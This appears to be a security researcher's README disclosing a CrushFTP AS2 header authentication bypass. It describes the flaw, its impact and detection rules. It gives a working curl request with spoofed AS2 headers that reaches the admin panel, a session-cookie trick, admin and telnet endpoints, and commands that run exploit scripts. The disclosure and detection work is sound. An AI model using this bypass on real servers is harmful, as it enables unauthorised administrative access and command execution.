
Research on CrushFTP AS2 authentication bypass allowing unauthenticated admin access. Includes PoC scripts, detection rules, and technical analysis for educational and defensive purposes.
⚠️ IMPORTANT: This vulnerability has been patched by CrushFTP as of November 2025. This research is published for educational and defensive purposes only.
📝 NOTE: This research is based on vulnerability patterns similar to CVE-2025-54309. The exact CVE number may differ. This is independent security research conducted in a controlled home lab environment.
This repository documents a critical authentication bypass vulnerability in CrushFTP servers that allows complete administrative access through AS2 (Applicability Statement 2) header manipulation. The vulnerability requires no authentication and can be exploited with a single HTTP request.
Key Points:
Researcher: SmileyFace101 ()
CrushFTP's web interface incorrectly trusts AS2 protocol headers without proper validation. The server assumes AS2 requests are pre-authenticated and bypasses normal authentication procedures.
Vulnerable CrushFTP Versions (Confirmed in Lab):
Patched Versions:
Lab Environment:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
Example (Lab Environment):
curl -H "X-DMZ-Proxy: disabled" \
-H "X-AS2-Version: 1.0" \
-H "User-Agent: AS2Server/1.0" \
"http://10.0.100.50/WebInterface/admin/index.html"
Note: Only use on systems you own or have explicit permission to test.
During exploitation, we discovered a mathematical relationship in session cookie generation that makes exploitation 100% reliable:
CrushAuth Structure: [TIMESTAMP]_[SESSION_ID]
currentAuth = Last 4 characters of SESSION_ID
c2f parameter = Same as currentAuth value
| Security Aspect | Impact Level | Description |
|---|---|---|
| Confidentiality | 🔴 CRITICAL | Complete access to credentials, configs, PGP keys, logs |
| Integrity | 🔴 CRITICAL | User account creation, config changes, file modifications |
| Availability | 🟡 HIGH | System command execution, service disruption capability |
| Privilege Escalation | 🔴 CRITICAL | Direct admin access, persistent account creation |
✅ Complete server and user enumeration
✅ User account creation and modification
✅ File system access and browsing
✅ Command execution via telnet interface
✅ Job scheduling with system privileges
✅ PGP key and certificate access
✅ Administrative configuration modification
See detection/ directory for:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
/WebInterface/function/ with AS2 headers# Web server logs
grep -E "(X-DMZ-Proxy|X-AS2-Version|AS2Server)" /var/log/nginx/access.log
# CrushFTP application logs
grep -E "(WebInterface/admin|WebInterface/function)" crushftp.log
.
├── README.md # This file - overview and usage
├── docs/
│ └── TECHNICAL_ANALYSIS.md # Complete technical deep-dive
├── exploits/
│ ├── enhanced_session_exploit.sh # Full exploitation with session mgmt
│ ├── targeted_exploitation.sh # High-value endpoint testing
│ └── adaptive_exploitation.sh # Multi-strategy approach
└── detection/
├── snort_rules.txt # IDS/IPS signatures (Snort)
├── suricata_rules.txt # IDS/IPS signatures (Suricata)
└── log_analysis.sh # Log analysis and IOC detection
Read the docs:
Test in your lab:
# Make sure you own the target system!
./exploits/enhanced_session_exploit.sh 10.0.100.50
Deploy detection:
✅ Complete AS2 authentication bypass discovered and documented
✅ Critical session cookie generation requirement identified and solved
✅ Mathematical relationship in session management reverse-engineered
✅ Two-phase exploitation methodology developed
✅ 100% reliable exploitation pattern established
✅ Multiple RCE vectors identified and analyzed
✅ Complete JavaScript source code analysis performed
/WebInterface/admin/index.html - Main admin panel/WebInterface/admin/telnet.html - Telnet interface/WebInterface/Jobs/index.html - Job management/WebInterface/UserManager/index.html - User management/WebInterface/PGP/index.html - PGP key management/WebInterface/function/ - Administrative function processorAuthor: SmileyFace101
GitHub: @SmileyFace101
Research Period: March - July 2025 (Home Lab)
Public Disclosure: December 6, 2025
This research is for EDUCATIONAL and DEFENSIVE purposes ONLY.
✅ Authorized Use:
❌ Prohibited:
By using this research, you agree to:
Disclaimer: The author is not responsible for misuse. Unauthorized computer access is illegal.
MIT License - See LICENSE file for details.
Last Updated: December 6, 2025
Risk Assessment: CRITICAL - Immediate patching and mitigation required
Last Updated: December 6, 2025
Author: SmileyFace101
Research Conducted: March - July 2025 in authorized lab environment